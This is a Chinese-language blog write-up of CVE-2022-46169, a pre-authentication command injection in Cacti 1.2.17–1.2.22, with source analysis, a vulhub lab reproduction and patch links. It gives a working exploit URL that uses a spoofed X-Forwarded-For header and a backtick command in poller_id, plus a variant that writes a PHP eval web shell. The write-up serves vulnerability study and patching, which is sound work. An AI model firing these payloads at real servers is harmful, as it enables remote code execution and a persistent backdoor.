本文作者:SwBack
创作时间:2023/4/8 0:12
知乎:https://www.zhihu.com/people/back-88-87
CSDN:https://blog.csdn.net/qq_30817059
百度搜索: SwBack
漏 洞 名:Cacti 前台命令注入漏洞
漏洞编号:CVE-2022-46169
Cacti是一个服务器监控与管理平台。基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具.
在其1.2.17-1.2.22
版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。
1.2.17-1.2.22
由于remote_agent.php
文件存在验证缺陷,未经身份验证的攻击者通过设置HTTP_开头变量的值为 Cacti的服务器主机名来实现身份验证绕过,之后控制get_nfilter_request_var()
函数中的检索参数$poller_id
,当poller_item
设置为POLLER_ACTION_SCRIPT_PHP
时,导致proc_open()
函数被触发,最终实现在目标系统上任意命令执行。
#漏洞payload
remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
X-Forwarded-For:127.0.0.1
其中action
等于 polldata
时才会去调用poll_for_data()
函数.
可以通过下面poll_for_data()
函数的代码发现 只有 $item['action']
=== POLLER_ACTION_SCRIPT_PHP 时,$poller_id
才会在proc_open()
中命令执行
而$item
是循环 $items
得到
#简单将未涉及到的代码注释,尽量减少篇幅
function poll_for_data() {
global $config;
$local_data_ids = get_nfilter_request_var('local_data_ids');
$host_id = get_filter_request_var('host_id');
$poller_id = get_nfilter_request_var('poller_id');
$return = array();
$i = 0;
if (cacti_sizeof($local_data_ids)) {
foreach($local_data_ids as $local_data_id) {
input_validate_input_number($local_data_id);
$items = db_fetch_assoc_prepared('SELECT *
FROM poller_item
WHERE host_id = ?
AND 6 = ?',
array($host_id, $local_data_id));
.....
.....
if (cacti_sizeof($items)) {
foreach($items as $item) {
switch ($item['action']) {
case POLLER_ACTION_SNMP: /* snmp */
.....
.....
case POLLER_ACTION_SCRIPT: /* script (popen) */
.....
.....
case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
$cactides = array(
0 => array('pipe', 'r'), // stdin is a pipe that the child will read from
1 => array('pipe', 'w'), // stdout is a pipe that the child will write to
2 => array('pipe', 'w') // stderr is a pipe to write to
);
if (function_exists('proc_open')) {
$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
$output = fgets($pipes[1], 1024);
$using_proc_function = true;
} else {
$using_proc_function = false;
}
.....
.....
}
$i++;
}
}
}
}
print json_encode($return);
}
我们需要 使 $items
的SQL语句成立。 所以 $local_data_id
需要传参 6
当action
等于2的时候,host_id
= 1
实际的环境中,由于设备项目在添加时,需要选择相应的设备模板才会出现action=2,local_data_ids参数也是需要靠暴力猜解才会猜解出action=2的项目
关于IP伪造的部分,我们在未认证的情况下返回的内容如下:FATAL: You are not authorized to use this service
此处在漏洞复现部分有所演示
在``中追踪代码如下
#判断remote_client_authorized()函数是否为true
if (!remote_client_authorized()) {
print 'FATAL: You are not authorized to use this service';
exit;
}
function remote_client_authorized() {
global $poller_db_cnn_id;
/* don't allow to run from the command line */
#客户端ip由get_client_addr() 函数获取
$client_addr = get_client_addr();
if ($client_addr === false) {
return false;
}
if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {
cacti_log('ERROR: Invalid remote agent client IP Address. Exiting');
return false;
}
$client_name = gethostbyaddr($client_addr);
if ($client_name == $client_addr) {
cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
} else {
$client_name = remote_agent_strip_domain($client_name);
}
#从数据库中查询,从而获取到hostname值
$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);
if (cacti_sizeof($pollers)) {
foreach($pollers as $poller) {
#判断hostname值是否与客户端ip一致
if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
return true;
} elseif ($poller['hostname'] == $client_addr) {
return true;
}
}
}
cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");
return false;
}
搜索之后在functions.php
中发现get_client_addr()
函数的定义
function get_client_addr($client_addr = false) {
$http_addr_headers = array(
'X-Forwarded-For',
'X-Client-IP',
'X-Real-IP',
'X-ProxyUser-Ip',
'CF-Connecting-IP',
'True-Client-IP',
'HTTP_X_FORWARDED',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_CLUSTER_CLIENT_IP',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED',
'HTTP_CLIENT_IP',
'REMOTE_ADDR',
);
$client_addr = false;
#遍历数组$http_addr_headers 并将其赋值给$header
foreach ($http_addr_headers as $header) {
#判断$_SERVER[$header] 是否为空 ,如果不为空,则取ip作为客户端IP,这个参数用户可控。
if (!empty($_SERVER[$header])) {
$header_ips = explode(',', $_SERVER[$header]);
foreach ($header_ips as $header_ip) {
if (!empty($header_ip)) {
if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
} else {
$client_addr = $header_ip;
cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
break 2;
}
}
}
}
}
return $client_addr;
}
在如下判断代码中,我们传入的值为 127.0.0.1
会被get_client_addr()
函数 解析为localhost
而这和复现靶机一致
如果在服务器主机名
非 localhost 的情况下,client_addr
需要暴力猜解本机的内网IP地址,或者其他设备列表内的IP地址。
通过vulhub
进行搭建,首先在一台已经安装 docker-compose的Linux机器中输入如下命令,将vulhub
下载到本地
#下载vulhub
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
#解压zip
unzip vulhub-master.zip
#进入目录
cd vulhub-master
在上一步我们已经将vulhub
解压到本地了.接下来我们进入需要复现的漏洞目录,通过docker-compose
将环境进行启动
#进入目录
cd cacti/CVE-2022-46169/
#启动环境
docker-compose up -d
输入命令之后
环境启动后,访问http://your-ip:8080
会跳转到登录页面。使用admin/admin
作为账号密码登录,并根据页面中的提示进行初始化。不断的点击下一步,直到安装成功。
这个漏洞的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP
的采集器。所以,我们在Cacti后台首页创建一个新的Graph:
直接访问payload
显示内容如下
http://localhost:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
进行抓包,并添加X-Forwarded-For:127.0.0.1
查看本地,发现文件已被创建
同理,创建木马
/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`echo%20%20'%3C%3Fphp%20%40eval(%24_REQUEST%5B%22cmd%22%5D)%3B%3F%3E'%20%3Eshell.php`
执行成功
通过研究该漏洞,发现在实际的利用的过程中,不能一味的去使用poc攻击,需要根据实际的生产环境去进行对应的修改。
目前官方已发布安全补丁修复此漏洞,建议受影响的用户及时安装防护:
版本* | 补丁链接 |
---|---|
v1.2.X | https://github.com/Cacti/cacti/commit/b43f13ae7f1e6bfe4e8e56a80a7cd867cf2db52b |
v1.3.x | https://github.com/Cacti/cacti/commit/b43f13ae7f1e6bfe4e8e56a80a7cd867cf2db52b |
注:若在PHP < 7.0下运行1.2.x
实例,还需要进一步更改:https://github.com/Cacti/cacti/commit/a8d59e8fa5f0054aa9c6981b1cbe30ef0e2a0ec9
本文由SwBack
原创文章, 如有问题,欢迎指正。